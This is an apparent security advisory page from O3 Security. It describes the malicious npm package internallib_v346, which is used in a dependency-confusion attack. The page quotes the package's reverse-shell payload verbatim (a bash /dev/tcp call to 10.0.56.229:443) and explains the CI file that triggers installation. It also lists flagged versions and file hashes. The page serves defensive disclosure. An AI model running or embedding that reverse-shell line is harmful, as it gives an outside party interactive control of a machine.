Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

internallib_v346npm

Malicious code in internallib_v346 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5613
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall internallib_v346

What this malware does

Package name targets an internal-only namespace and ships a reverse-shell payload. index.js line 5 unconditionally invokes exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"') inside the first definition of the exported command function, opening an interactive shell back to the hardcoded RFC1918 address 10.0.56.229 on port 443. A second assignment to exports.command later in the file overwrites the export, but the malicious statement is evaluated whenever the first function body is reached and is shipped verbatim in the published tarball. The package also declares a self-referential dependency on internallib_v346: ^1.0.0 and includes a.gitlab-ci.yml that runs npm update --registry http://0.0.0.0:4873/ followed by node check.js, where check.js does require("internallib_v346"). The naming and CI shape are characteristic of a Birsan-style dependency-confusion attack against an organization's internal internallib_v346 package: when a victim build resolves from the public registry instead of the internal Verdaccio mirror, the reverse-shell code lands in the developer or CI environment.

Malicious versions

4 flagged
1.0.31.0.51.0.91.1.0

Indicators of compromise (SHA-256)

16f3f2c0990e02417fdf7012e6531393e81f786bb16019d0efdb03c049817f90
ca0c0f264625c77a0695bd5e908a1e7f764bcaaa16d3e785167b0ab56965fdd4
a9cd3a304ca53f98e5e1598be0822c44c12d54d41e2ca72ae6d39c12a7332e14
b63d776e7932e5f411c572799269f05aaec305e2df00a9e6a635f50c60f49a25

Frequently asked questions

No. internallib_v346 on npm has been identified as a malicious package (versions 1.0.3, 1.0.5, 1.0.9, 1.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005696IN-MAL-2026-005698IN-MAL-2026-005697IN-MAL-2026-005699

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
internallib_v346 (npm) malicious package — MAL-2026-5613 | O3 Security